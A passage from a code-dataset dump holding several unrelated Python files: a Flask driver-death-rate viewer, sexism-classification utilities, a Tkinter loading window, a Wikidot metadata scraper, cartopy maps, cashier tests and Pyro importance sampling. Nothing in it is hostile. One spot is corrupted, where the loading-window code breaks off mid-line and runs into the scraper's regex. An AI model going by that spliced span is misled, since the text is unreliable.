"line_number": 28, "usage_type": "call"}]} +{"seq_id": "19867537934", "text": "from flask import Flask, render_template\nimport requests\nimport json\nfrom urllib.parse import quote\n\napp = Flask(__name__)\n\n\nurl_link = \"https://www.iihs.org/api/driver-death-rates/get-view-model\"\nresponse = requests.post(url_link)\ndata = response.json()\ninfo = data[\"Info\"]\n\ncar_data = []\n\nfor i in info:\n vehicle = i['Vehicle'].replace(' ', '-') # Replace spaces with hyphens (-)\n model_year_span = quote(i['ModelYearSpan']) # Encode the model year span\n\n car = {\n 'year': int(model_year_span.split('-')[0]),\n 'make': vehicle.split('-')[0],\n 'model': '-'.join(vehicle.split('-')[1:]),\n 'overall_death_rate': float(i['OverallDeathRate']),\n 'multi_vehicle_crash_death_rate': i['MultiVehicleDeathRate'],\n 'single_vehicle_crash_death_rate': i['SingleVehicleDeathRate'],\n 'rollover_death_rate': i['RolloverDeathRate']\n }\n car_data.append(car)\n\n\n\n@app.route('/')\ndef home():\n return render_template('index.html')\n\n@app.route('/car////')\ndef car_details(year, make, model):\n \n # Convert the search terms to lowercase\n make = make.lower()\n model = model.lower()\n \n # Find the car data based on year, make, and model\n car = next((c for c in car_data if c['year'] == year and c['make'].lower() == make and c['model'].lower() == model), None)\n if car is None:\n return 'Car not found. (Kindly double check spelling or Add \"-\" if there are spaces)'\n \n # Determine the color-coding for each death rate category\n def get_color(death_rate):\n if death_rate == None:\n pass\n elif death_rate < 50:\n return 'bg-success'\n elif death_rate == 50:\n return 'bg-warning'\n elif death_rate > 50:\n return 'bg-danger'\n\n \n overall_color = get_color(car['overall_death_rate'])\n multi_vehicle_color = get_color(car['multi_vehicle_crash_death_rate'])\n single_vehicle_color = get_color(car['single_vehicle_crash_death_rate'])\n rollover_color = get_color(car['rollover_death_rate'])\n\n\n return render_template('car.html',\n year=year,\n make=make,\n model=model,\n overall_death_rate=car['overall_death_rate'],\n multi_vehicle_death_rate=car['multi_vehicle_crash_death_rate'],\n single_vehicle_death_rate=car['single_vehicle_crash_death_rate'],\n rollover_death_rate=car['rollover_death_rate'],\n overall_color=overall_color,\n multi_vehicle_color=multi_vehicle_color,\n single_vehicle_color=single_vehicle_color,\n rollover_color=rollover_color)\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n", "repo_name": "ShehneelKhan/Driver-death-rates", "sub_path": "app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 2867, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "flask.Flask", "line_number": 6, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 10, "usage_type": "call"}, {"api_name": "urllib.parse.quote", "line_number": 18, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 35, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 67, "usage_type": "call"}]} +{"seq_id": "70449251483", "text": "import pandas as pd\r\nimport torch\r\nimport numpy as np\r\nimport utils.datasets_exist as datasets\r\nfrom torch.utils.data import DataLoader\r\nimport collections\r\nfrom transformers import default_data_collator\r\n\r\ndef whole_word_masking_data_collator(features, mlm_probability, tokenizer):\r\n np.random.seed(0)\r\n for feature in features:\r\n word_ids = feature.pop(\"word_ids\")\r\n\r\n # Create a map between words and corresponding token indices\r\n mapping = collections.defaultdict(list)\r\n current_word_index = -1\r\n current_word = None\r\n for idx, word_id in enumerate(word_ids):\r\n if word_id is not None:\r\n if word_id != current_word:\r\n current_word = word_id\r\n current_word_index += 1\r\n mapping[current_word_index].append(idx)\r\n\r\n # Randomly mask words\r\n mask = np.random.binomial(1, mlm_probability, (len(mapping),))\r\n input_ids = feature[\"input_ids\"]\r\n labels = feature[\"labels\"]\r\n new_labels = [-100] * len(labels)\r\n for word_id in np.where(mask)[0]:\r\n word_id = word_id.item()\r\n for idx in mapping[word_id]:\r\n new_labels[idx] = labels[idx]\r\n input_ids[idx] = tokenizer.mask_token_id\r\n feature[\"labels\"] = new_labels\r\n\r\n return default_data_collator(features)\r\n\r\ndef load_model(model_path, device):\r\n model = torch.load(model_path, map_location=device)\r\n model.to(device)\r\n return model\r\n\r\n\r\ndef get_result_test(model, dataloader, device, task):\r\n model.eval()\r\n probas, true_labels, predictions = [], [], []\r\n if task == 'multitask':\r\n probas_task2, true_labels_task2, predictions_task2 = [], [], []\r\n with torch.no_grad():\r\n for batch in dataloader:\r\n data = batch[0]\r\n b_input_ids = data[0].squeeze()\r\n b_input_mask = data[1].squeeze() \r\n b_labels = batch[1].squeeze() \r\n b_input_ids = b_input_ids.to(device, dtype=torch.long)\r\n b_input_mask = b_input_mask.to(device, dtype=torch.long)\r\n b_labels = b_labels.to(device, dtype=torch.long)\r\n if task != 'multitask':\r\n logits = model(b_input_ids, token_type_ids=None, attention_mask=b_input_mask)[0]\r\n else:\r\n logits_task1, logits_task2 = model(input_id=b_input_ids, token_type_id=None, mask_id=b_input_mask)\r\n if task != \"multitask\":\r\n logits = logits.detach().cpu().numpy()\r\n label_ids = b_labels.to('cpu').numpy()\r\n probas.append(logits)\r\n true_labels.append(label_ids)\r\n else:\r\n logits_task1 = logits_task1.detach().cpu().numpy()\r\n logits_task2 = logits_task2.detach().cpu().numpy()\r\n labels_ids = b_labels.to('cpu').numpy()\r\n probas.append(logits_task1)\r\n probas_task2.append(logits_task2)\r\n true_labels.append(labels_ids)\r\n if task == 'multitask':\r\n #Task1\r\n for i in range(len(true_labels)):\r\n pred_=np.argmax(probas[i], axis=1)\r\n predictions.append(pred_)\r\n ids = np.concatenate(true_labels).ravel()\r\n predictions = np.concatenate(predictions).ravel()\r\n #print(\"TRUE_LABELS::::::: \", true_labels)\r\n #print(\"PREDICTIONS:::::: \", (predictions))\r\n #Task2\r\n for i in range(len(true_labels)):\r\n pred_=np.argmax(probas_task2[i], axis=1)\r\n predictions_task2.append(pred_)\r\n predictions_task2 = np.concatenate(predictions_task2).ravel()\r\n #print(\"TRUE_LABELS::::::: \", true_labels)\r\n #print(\"PREDICTIONS:::::: \", (predictions))\r\n return [ids, predictions, predictions_task2]\r\n else:\r\n for i in range(len(true_labels)):\r\n pred_=np.argmax(probas[i], axis=1)\r\n predictions.append(pred_)\r\n ids = np.concatenate(true_labels).ravel()\r\n predictions = np.concatenate(predictions).ravel()\r\n return [ids, predictions]\r\n #print(\"TRUE_LABELS::::::: \", true_labels)\r\n #print(\"PREDICTIONS:::::: \", (predictions))\r\n\r\ndef generate_submission(model_path, basenet, device, test_path=None, output_path=None, task=1, batch_size=2, sample=True, language=None, cascade_system=False):\r\n dataset = datasets.exist_2021(test_path, sample = sample, basenet = basenet, is_test = True, language = language, text_cleaner=True)\r\n test_data_loader = DataLoader(\r\n dataset=dataset,\r\n shuffle=False,\r\n batch_size=batch_size)\r\n model=load_model(model_path, device)\r\n if task != 'multitask':\r\n ids, predictions = get_result_test(model, test_data_loader, device, task)\r\n if task == 'multitask':\r\n ids, predictions,predictions_task2 = get_result_test(model, test_data_loader, device, task)\r\n\r\n df = pd.read_table(test_path, sep=\"\\t\", dtype={'id': 'str'})\r\n if language == \"es\":\r\n df = df[df['language'] == \"es\"]\r\n elif language == \"en\":\r\n df = df[df['language'] == \"en\"]\r\n if sample:\r\n df=df.sample(frac=0.01, random_state=123)\r\n\r\n\r\n\r\n df['id_'] = ids\r\n df['predictions'] = predictions\r\n if task==1:\r\n df['category']=df['predictions'].map({ 0: 'non-sexist', 1: 'sexist'})\r\n df=df[['id', 'test_case', 'category']]\r\n df.to_csv(output_path, sep=\"\\t\", index=False)\r\n elif task==2 and cascade_system:\r\n df['category']=df['predictions'].map({0: 'ideological-inequality', 1: 'stereotyping-dominance', 2: 'objectification', 3: 'sexual-violence', 4: 'misogyny-non-sexual-violence'})\r\n df=df[['id', 'test_case', 'category']]\r\n df.to_csv(output_path, sep=\"\\t\", index=False)\r\n elif task==2:\r\n df['category']=df['predictions'].map({0: 'non-sexist', 1: 'ideological-inequality', 2: 'stereotyping-dominance', 3: 'objectification', 4: 'sexual-violence', 5: 'misogyny-non-sexual-violence'})\r\n df=df[['id', 'test_case', 'category']]\r\n df.to_csv(output_path, sep=\"\\t\", index=False)\r\n elif task=='multitask':\r\n df['category']=df['predictions'].map({0: 'non-sexist', 1: 'sexist'})\r\n df=df[['id', 'test_case', 'category']]\r\n df.to_csv(output_path, sep=\"\\t\", index=False)\r\n df['category']=predictions_task2\r\n df['category']=df['category'].map({0: 'non-sexist', 1: 'ideological-inequality', 2: 'stereotyping-dominance', 3: 'objectification', 4: 'sexual-violence', 5: 'misogyny-non-sexual-violence'})\r\n df.to_csv(output_path.replace('.tsv', '')+'_task2.tsv' , sep=\"\\t\", index=False)\r\n return df", "repo_name": "franciscorodriguez92/mlm", "sub_path": "src/utils/utils.py", "file_name": "utils.py", "file_ext": "py", "file_size_in_byte": 6577, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "numpy.random.seed", "line_number": 10, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 10, "usage_type": "attribute"}, {"api_name": "collections.defaultdict", "line_number": 15, "usage_type": "call"}, {"api_name": "numpy.random.binomial", "line_number": 26, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 26, "usage_type": "attribute"}, {"api_name": "numpy.where", "line_number": 30, "usage_type": "call"}, {"api_name": "transformers.default_data_collator", "line_number": 37, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 40, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 50, "usage_type": "call"}, {"api_name": "torch.long", "line_number": 56, "usage_type": "attribute"}, {"api_name": "torch.long", "line_number": 57, "usage_type": "attribute"}, {"api_name": "torch.long", "line_number": 58, "usage_type": "attribute"}, {"api_name": "numpy.argmax", "line_number": 78, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 80, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 81, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 86, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 88, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 94, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 96, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 97, "usage_type": "call"}, {"api_name": "utils.datasets_exist.exist_2021", "line_number": 103, "usage_type": "call"}, {"api_name": "utils.datasets_exist", "line_number": 103, "usage_type": "name"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 104, "usage_type": "call"}, {"api_name": "pandas.read_table", "line_number": 114, "usage_type": "call"}]} +{"seq_id": "41200795501", "text": "from customtkinter import *\nfrom customtkinter import CTkButton as Button\nfrom customtkinter import CTk as Tk\nfrom customtkinter import CTkToplevel as Toplevel\nfrom customtkinter import CTkProgressBar \nfrom threading import Thread\n\nclass LoadingWindow:\n def __init__(self, root):\n self.root = root\n self.loading_window = None\n self.i = 5\n self.maximum=100\n self.close = 0\n\n def create_loading_window(self):\n self.loading_window = Toplevel()\n self.loading_window.title(\"Loading...\")\n self.loading_window.geometry(\"300x50\")\n\n # Progress bar \n self.progress_var = IntVar()\n self.progress_bar = CTkProgressBar(self.loading_window, variable=self.progress_var)\n self.progress_bar.pack(fill=BOTH, expand=True)\n\n # Start the loading process\n \n self.loading_thread = Thread(target=self.simulate_loading)\n self.loading_thread.start()\n\n def simulate_loading(self):\n sum=0\n while 1:\n print(self.close)\n if not self.close and sum)(.*)(?:<\\/h1>)', response).group(1)\n \n # Download the user's avatar as a file object.\n r_avatar = requests.get('http://www.wikidot.com/avatar.php?userid=' + user_id)\n avatar = r_avatar.content # Bytes-like object here.\n \n # Upload the avatar to s3\n s3 = boto3.client('s3')\n upload = s3.put_object(Bucket=\"scuttle-s3\", Body=avatar, Key=\"avatars/wikidot/\" + str(user_id))\n # Give SCUTTLE back the data requested and a link to the file.\n payload = {\"wd_user_id\": user_id, \"username\": username, \n \"wd_user_since\": wd_registration_timestamp, \n \"avatar_path\": \"https://cdn.scpfoundation.wiki/avatars/wikidot/\" + user_id, \n \"wiki_member_since\": wiki_membership_timestamp}\n \n # Send everything to SCUTTLE\n headers = {\"Authorization\": \"Bearer \" + config.scuttle_token, \"Content-Type\": \"application/json\"}\n j = json.dumps(payload)\n r = requests.put(callback_url + '/2stacks/user/metadata', data=j, headers=headers)\n\n \n return {\n 'job': 'complete'\n }\n", "repo_name": "scuttle/2stacks", "sub_path": "2stacks-get-user-metadata.py", "file_name": "2stacks-get-user-metadata.py", "file_ext": "py", "file_size_in_byte": 5675, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "86", "api": [{"api_name": "helpers.fetch", "line_number": 22, "usage_type": "call"}, {"api_name": "re.search", "line_number": 27, "usage_type": "call"}, {"api_name": "re.search", "line_number": 29, "usage_type": "call"}, {"api_name": "re.search", "line_number": 31, "usage_type": "call"}, {"api_name": "re.search", "line_number": 33, "usage_type": "call"}, {"api_name": "re.search", "line_number": 35, "usage_type": "call"}, {"api_name": "re.search", "line_number": 37, "usage_type": "call"}, {"api_name": "re.search", "line_number": 39, "usage_type": "call"}, {"api_name": "re.search", "line_number": 41, "usage_type": "call"}, {"api_name": "re.search", "line_number": 43, "usage_type": "call"}, {"api_name": "re.search", "line_number": 47, "usage_type": "call"}, {"api_name": "re.search", "line_number": 49, "usage_type": "call"}, {"api_name": "re.search", "line_number": 51, "usage_type": "call"}, {"api_name": "re.search", "line_number": 53, "usage_type": "call"}, {"api_name": "re.search", "line_number": 55, "usage_type": "call"}, {"api_name": "re.search", "line_number": 57, "usage_type": "call"}, {"api_name": "re.search", "line_number": 59, "usage_type": "call"}, {"api_name": "re.search", "line_number": 61, "usage_type": "call"}, {"api_name": "re.search", "line_number": 63, "usage_type": "call"}, {"api_name": "re.search", "line_number": 65, "usage_type": "call"}, {"api_name": "re.search", "line_number": 67, "usage_type": "call"}, {"api_name": "re.search", "line_number": 69, "usage_type": "call"}, {"api_name": "re.search", "line_number": 74, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 77, "usage_type": "call"}, {"api_name": "boto3.client", "line_number": 81, "usage_type": "call"}, {"api_name": "config.scuttle_token", "line_number": 90, "usage_type": "attribute"}, {"api_name": "json.dumps", "line_number": 91, "usage_type": "call"}, {"api_name": "requests.put", "line_number": 92, "usage_type": "call"}]} +{"seq_id": "2286109565", "text": "import numpy as np\nimport pandas as pd\n#from .due import due, Doi\nimport cartopy.crs as ccrs\nimport cartopy.feature as cfeature\nimport matplotlib.pyplot as plt\n\n\n#__all__ = [\"Model\", \"Fit\", \"opt_err_func\", \"transform_data\", \"cumgauss\"]\n\n\n# Use duecredit (duecredit.org) to provide a citation to relevant work to\n# be cited. This does nothing, unless the user has duecredit installed,\n# And calls this with duecredit (as in `python -m duecredit script.py`):\n#due.cite(Doi(\"10.1167/13.9.30\"),\n# description=\"Example project created during OceanHackWeek2018\",\n# tags=[\"reference-implementation\"],\n# path='ohw_lter_vis')\n\n\ndef make_map(projection=ccrs.PlateCarree(), figsize=(5, 5)):\n \"\"\"\n Function that makes a basic map.\n\n Parameters\n ----------\n projection : map projection \n\n Returns\n -------\n fig : matplotlib figure handle\n \n ax : matplotlib axis handle\n \n Note: From Filipe Fernandes's Geospatial and Mapping Tools tutorial\n OceanHackWeek 2018\n \"\"\"\n fig, ax = plt.subplots(\n figsize=figsize,\n subplot_kw={'projection': projection})\n return fig, ax\n\n\ndef map_ngalter():\n \"\"\"\n Function that makes a basic map of the NGA (Northern Gulf of Alaska) LTER\n study area.\n \n Note: Now is hardcoded for a study area, but maybe should be more flexible\n \"\"\"\n fig, ax = make_map(projection=ccrs.LambertConformal(), figsize=(10, 10))\n\n ax.set_global()\n ax.coastlines(resolution='10m', color='k')\n ax.add_feature(cfeature.LAND.with_scale('50m'), facecolor='0.75')\n ax.set_extent([-154, -142, 58.5, 61.], ccrs.Geodetic())\n return fig, ax\n\n\ndef map_stations_data(ax ,df, colorby='temperature', colormap='viridis'):\n \"\"\"\n Function that adds markers colored by a variable to locations on a map.\n\n Parameters\n ----------\n df : a Pandas DataFrame that must include the columns 'latitude', \n 'longitude', and the colorby variable\n \n colorby : string representing the DataFrame column to use as the color \n scale for the markers\n \n colormap : string of colormap name\n\n Returns\n -------\n h : matplotlib handle\n \n ax : the matplotlib axis handle with the new markers added\n \n \"\"\"\n\n h = ax.scatter(\n df['longitude'], df['latitude'],\n transform=ccrs.Geodetic(), s=200, c=df[colorby],\n edgecolors='blue', cmap=colormap,\n vmin=df[colorby].min(), vmax=df[colorby].max());\n return h, ax\n\n\n ", "repo_name": "oceanhackweek/ohw18_lter_vis", "sub_path": "ohw_lter_vis/ohw_lter_vis.py", "file_name": "ohw_lter_vis.py", "file_ext": "py", "file_size_in_byte": 2488, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "cartopy.crs.PlateCarree", "line_number": 21, "usage_type": "call"}, {"api_name": "cartopy.crs", "line_number": 21, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 38, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 38, "usage_type": "name"}, {"api_name": "cartopy.crs.LambertConformal", "line_number": 51, "usage_type": "call"}, {"api_name": "cartopy.crs", "line_number": 51, "usage_type": "name"}, {"api_name": "cartopy.feature.LAND.with_scale", "line_number": 55, "usage_type": "call"}, {"api_name": "cartopy.feature.LAND", "line_number": 55, "usage_type": "attribute"}, {"api_name": "cartopy.feature", "line_number": 55, "usage_type": "name"}, {"api_name": "cartopy.crs.Geodetic", "line_number": 56, "usage_type": "call"}, {"api_name": "cartopy.crs", "line_number": 56, "usage_type": "name"}, {"api_name": "cartopy.crs.Geodetic", "line_number": 84, "usage_type": "call"}, {"api_name": "cartopy.crs", "line_number": 84, "usage_type": "name"}]} +{"seq_id": "32110109910", "text": "'''\nIntegration Tests\n'''\nimport pytest\nfrom cashier.cash_register.register import Register\nfrom cashier.cash_register.item import Item\nfrom cashier.cash_register.tax_office import ItemCategory\n\n\nclass TestCashier:\n @pytest.fixture\n def get_register(self):\n return Register()\n\n def test_input_1(self, get_register):\n register = get_register\n item1 = Item(name=\"book\", price=12.49, category=ItemCategory.BOOK, quantity=1, imported=False)\n item2 = Item(name=\"music CD\", price=14.99, category=ItemCategory.NON_ESSENTIAL, quantity=1, imported=False)\n item3 = Item(name=\"chocolate bar\", price=0.85, category=ItemCategory.FOOD, quantity=1, imported=False)\n register.process_item(item1)\n register.process_item(item2)\n register.process_item(item3)\n\n receipt = register.get_receipt()\n items = receipt.get_items()\n\n assert len(items) == 3\n assert items[item1] == (12.49, 0)\n assert items[item2] == (16.49, 1.5)\n assert items[item3] == (0.85, 0)\n assert receipt.total_sales_tax == 1.5\n assert receipt.total_price == 29.83\n\n def test_input_2(self, get_register):\n register = get_register\n item1 = Item(name=\"box of chocolates\", price=10.00, category=ItemCategory.FOOD, quantity=1, imported=True)\n item2 = Item(name=\"bottle of perfume\", price=47.50, category=ItemCategory.NON_ESSENTIAL, quantity=1, imported=True)\n register.process_item(item1)\n register.process_item(item2)\n\n receipt = register.get_receipt()\n items = receipt.get_items()\n\n assert len(items) == 2\n assert items[item1] == (10.5, 0.5)\n assert items[item2] == (54.65, 7.15)\n assert receipt.total_sales_tax == 7.65\n assert receipt.total_price == 65.15\n\n def test_input_3(self, get_register):\n register = get_register\n item1 = Item(name=\"bottle of perfume\", price=27.99, category=ItemCategory.NON_ESSENTIAL, quantity=1, imported=True)\n item2 = Item(name=\"bottle of perfume\", price=18.99, category=ItemCategory.NON_ESSENTIAL, quantity=1, imported=False)\n item3 = Item(name=\"packet of headache pills\", price=9.75, category=ItemCategory.MEDICAL, quantity=1, imported=False)\n item4 = Item(name=\"box of chocolates\", price=11.25, category=ItemCategory.FOOD, quantity=1, imported=True)\n register.process_item(item1)\n register.process_item(item2)\n register.process_item(item3)\n register.process_item(item4)\n\n receipt = register.get_receipt()\n items = receipt.get_items()\n\n assert len(items) == 4\n assert items[item1] == (32.19, 4.20)\n assert items[item2] == (20.89, 1.90)\n assert items[item3] == (9.75, 0)\n assert items[item4] == (11.85, 0.60)\n assert receipt.total_sales_tax == 6.70\n assert receipt.total_price == 74.68\n\n def test_input_4(self, get_register):\n register = get_register\n item1 = Item(name=\"bottle of perfume\", price=27.99, category=ItemCategory.NON_ESSENTIAL, quantity=1, imported=True)\n item2 = Item(name=\"bottle of perfume\", price=18.99, category=ItemCategory.NON_ESSENTIAL, quantity=2, imported=False)\n item3 = Item(name=\"packet of headache pills\", price=9.75, category=ItemCategory.MEDICAL, quantity=3, imported=False)\n item4 = Item(name=\"box of chocolates\", price=11.25, category=ItemCategory.FOOD, quantity=4, imported=True)\n register.process_item(item1)\n register.process_item(item2)\n register.process_item(item3)\n register.process_item(item4)\n\n receipt = register.get_receipt()\n items = receipt.get_items()\n\n assert len(items) == 4\n assert items[item1] == (32.19, 4.20)\n assert items[item2] == (41.78, 3.80)\n assert items[item3] == (29.25, 0)\n assert items[item4] == (47.25, 2.25)\n assert receipt.total_sales_tax == 10.25\n assert receipt.total_price == 150.47\n", "repo_name": "mhmdkanj/CashierApp", "sub_path": "cashier/test/test_cashier.py", "file_name": "test_cashier.py", "file_ext": "py", "file_size_in_byte": 3990, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "cashier.cash_register.register.Register", "line_number": 13, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 11, "usage_type": "attribute"}, {"api_name": "cashier.cash_register.item.Item", "line_number": 17, "usage_type": "call"}, {"api_name": "cashier.cash_register.tax_office.ItemCategory.BOOK", "line_number": 17, "usage_type": "attribute"}, {"api_name": "cashier.cash_register.tax_office.ItemCategory", "line_number": 17, "usage_type": "name"}, {"api_name": "cashier.cash_register.item.Item", "line_number": 18, "usage_type": "call"}, {"api_name": "cashier.cash_register.tax_office.ItemCategory.NON_ESSENTIAL", "line_number": 18, "usage_type": "attribute"}, {"api_name": "cashier.cash_register.tax_office.ItemCategory", "line_number": 18, "usage_type": "name"}, {"api_name": "cashier.cash_register.item.Item", "line_number": 19, "usage_type": "call"}, {"api_name": "cashier.cash_register.tax_office.ItemCategory.FOOD", "line_number": 19, "usage_type": "attribute"}, {"api_name": "cashier.cash_register.tax_office.ItemCategory", "line_number": 19, "usage_type": "name"}, {"api_name": "cashier.cash_register.item.Item", "line_number": 36, "usage_type": "call"}, {"api_name": "cashier.cash_register.tax_office.ItemCategory.FOOD", "line_number": 36, "usage_type": "attribute"}, {"api_name": "cashier.cash_register.tax_office.ItemCategory", "line_number": 36, "usage_type": "name"}, {"api_name": "cashier.cash_register.item.Item", "line_number": 37, "usage_type": "call"}, {"api_name": "cashier.cash_register.tax_office.ItemCategory.NON_ESSENTIAL", "line_number": 37, "usage_type": "attribute"}, {"api_name": "cashier.cash_register.tax_office.ItemCategory", "line_number": 37, "usage_type": "name"}, {"api_name": "cashier.cash_register.item.Item", "line_number": 52, "usage_type": "call"}, {"api_name": "cashier.cash_register.tax_office.ItemCategory.NON_ESSENTIAL", "line_number": 52, "usage_type": "attribute"}, {"api_name": "cashier.cash_register.tax_office.ItemCategory", "line_number": 52, "usage_type": "name"}, {"api_name": "cashier.cash_register.item.Item", "line_number": 53, "usage_type": "call"}, {"api_name": "cashier.cash_register.tax_office.ItemCategory.NON_ESSENTIAL", "line_number": 53, "usage_type": "attribute"}, {"api_name": "cashier.cash_register.tax_office.ItemCategory", "line_number": 53, "usage_type": "name"}, {"api_name": "cashier.cash_register.item.Item", "line_number": 54, "usage_type": "call"}, {"api_name": "cashier.cash_register.tax_office.ItemCategory.MEDICAL", "line_number": 54, "usage_type": "attribute"}, {"api_name": "cashier.cash_register.tax_office.ItemCategory", "line_number": 54, "usage_type": "name"}, {"api_name": "cashier.cash_register.item.Item", "line_number": 55, "usage_type": "call"}, {"api_name": "cashier.cash_register.tax_office.ItemCategory.FOOD", "line_number": 55, "usage_type": "attribute"}, {"api_name": "cashier.cash_register.tax_office.ItemCategory", "line_number": 55, "usage_type": "name"}, {"api_name": "cashier.cash_register.item.Item", "line_number": 74, "usage_type": "call"}, {"api_name": "cashier.cash_register.tax_office.ItemCategory.NON_ESSENTIAL", "line_number": 74, "usage_type": "attribute"}, {"api_name": "cashier.cash_register.tax_office.ItemCategory", "line_number": 74, "usage_type": "name"}, {"api_name": "cashier.cash_register.item.Item", "line_number": 75, "usage_type": "call"}, {"api_name": "cashier.cash_register.tax_office.ItemCategory.NON_ESSENTIAL", "line_number": 75, "usage_type": "attribute"}, {"api_name": "cashier.cash_register.tax_office.ItemCategory", "line_number": 75, "usage_type": "name"}, {"api_name": "cashier.cash_register.item.Item", "line_number": 76, "usage_type": "call"}, {"api_name": "cashier.cash_register.tax_office.ItemCategory.MEDICAL", "line_number": 76, "usage_type": "attribute"}, {"api_name": "cashier.cash_register.tax_office.ItemCategory", "line_number": 76, "usage_type": "name"}, {"api_name": "cashier.cash_register.item.Item", "line_number": 77, "usage_type": "call"}, {"api_name": "cashier.cash_register.tax_office.ItemCategory.FOOD", "line_number": 77, "usage_type": "attribute"}, {"api_name": "cashier.cash_register.tax_office.ItemCategory", "line_number": 77, "usage_type": "name"}]} +{"seq_id": "21286865437", "text": "import math\nimport warnings\n\nimport torch\n\nimport pyro\nimport pyro.poutine as poutine\nfrom pyro.ops.stats import fit_generalized_pareto\n\nfrom .abstract_infer import TracePosterior\nfrom .enum import get_importance_trace\n\n\nclass Importance(TracePosterior):\n \"\"\"\n :param model: probabilistic model defined as a function\n :param guide: guide used for sampling defined as a function\n :param num_samples: number of samples to draw from the guide (default 10)\n\n This method performs posterior inference by importance sampling\n using the guide as the proposal distribution.\n If no guide is provided, it defaults to proposing from the model's prior.\n \"\"\"\n\n def __init__(self, model, guide=None, num_samples=None):\n \"\"\"\n Constructor. default to num_samples = 10, guide = model\n \"\"\"\n super().__init__()\n if num_samples is None:\n num_samples = 10\n warnings.warn(\n \"num_samples not provided, defaulting to {}\".format(num_samples)\n )\n if guide is None:\n # propose from the prior by making a guide from the model by hiding observes\n guide = poutine.block(model, hide_types=[\"observe\"])\n self.num_samples = num_samples\n self.model = model\n self.guide = guide\n\n def _traces(self, *args, **kwargs):\n \"\"\"\n Generator of weighted samples from the proposal distribution.\n \"\"\"\n for i in range(self.num_samples):\n guide_trace = poutine.trace(self.guide).get_trace(*args, **kwargs)\n model_trace = poutine.trace(\n poutine.replay(self.model, trace=guide_trace)\n ).get_trace(*args, **kwargs)\n log_weight = model_trace.log_prob_sum() - guide_trace.log_prob_sum()\n yield (model_trace, log_weight)\n\n def get_log_normalizer(self):\n \"\"\"\n Estimator of the normalizing constant of the target distribution.\n (mean of the unnormalized weights)\n \"\"\"\n # ensure list is not empty\n if self.log_weights:\n log_w = torch.tensor(self.log_weights)\n log_num_samples = torch.log(torch.tensor(self.num_samples * 1.0))\n return torch.logsumexp(log_w - log_num_samples, 0)\n else:\n warnings.warn(\n \"The log_weights list is empty, can not compute normalizing constant estimate.\"\n )\n\n def get_normalized_weights(self, log_scale=False):\n \"\"\"\n Compute the normalized importance weights.\n \"\"\"\n if self.log_weights:\n log_w = torch.tensor(self.log_weights)\n log_w_norm = log_w - torch.logsumexp(log_w, 0)\n return log_w_norm if log_scale else torch.exp(log_w_norm)\n else:\n warnings.warn(\n \"The log_weights list is empty. There is nothing to normalize.\"\n )\n\n def get_ESS(self):\n \"\"\"\n Compute (Importance Sampling) Effective Sample Size (ESS).\n \"\"\"\n if self.log_weights:\n log_w_norm = self.get_normalized_weights(log_scale=True)\n ess = torch.exp(-torch.logsumexp(2 * log_w_norm, 0))\n else:\n warnings.warn(\n \"The log_weights list is empty, effective sample size is zero.\"\n )\n ess = 0\n return ess\n\n\ndef vectorized_importance_weights(model, guide, *args, **kwargs):\n \"\"\"\n :param model: probabilistic model defined as a function\n :param guide: guide used for sampling defined as a function\n :param num_samples: number of samples to draw from the guide (default 1)\n :param int max_plate_nesting: Bound on max number of nested :func:`pyro.plate` contexts.\n :param bool normalized: set to True to return self-normalized importance weights\n :returns: returns a ``(num_samples,)``-shaped tensor of importance weights\n and the model and guide traces that produced them\n\n Vectorized computation of importance weights for models with static structure::\n\n log_weights, model_trace, guide_trace = \\\\\n vectorized_importance_weights(model, guide, *args,\n num_samples=1000,\n max_plate_nesting=4,\n normalized=False)\n \"\"\"\n num_samples = kwargs.pop(\"num_samples\", 1)\n max_plate_nesting = kwargs.pop(\"max_plate_nesting\", None)\n normalized = kwargs.pop(\"normalized\", False)\n\n if max_plate_nesting is None:\n raise ValueError(\"must provide max_plate_nesting\")\n max_plate_nesting += 1\n\n def vectorize(fn):\n def _fn(*args, **kwargs):\n with pyro.plate(\n \"num_particles_vectorized\", num_samples, dim=-max_plate_nesting\n ):\n return fn(*args, **kwargs)\n\n return _fn\n\n model_trace, guide_trace = get_importance_trace(\n \"flat\", max_plate_nesting, vectorize(model), vectorize(guide), args, kwargs\n )\n\n guide_trace.pack_tensors()\n model_trace.pack_tensors(guide_trace.plate_to_symbol)\n\n if num_samples == 1:\n log_weights = model_trace.log_prob_sum() - guide_trace.log_prob_sum()\n else:\n wd = guide_trace.plate_to_symbol[\"num_particles_vectorized\"]\n log_weights = 0.0\n for site in model_trace.nodes.values():\n if site[\"type\"] != \"sample\":\n continue\n log_weights += torch.einsum(\n site[\"packed\"][\"log_prob\"]._pyro_dims + \"->\" + wd,\n [site[\"packed\"][\"log_prob\"]],\n )\n\n for site in guide_trace.nodes.values():\n if site[\"type\"] != \"sample\":\n continue\n log_weights -= torch.einsum(\n site[\"packed\"][\"log_prob\"]._pyro_dims + \"->\" + 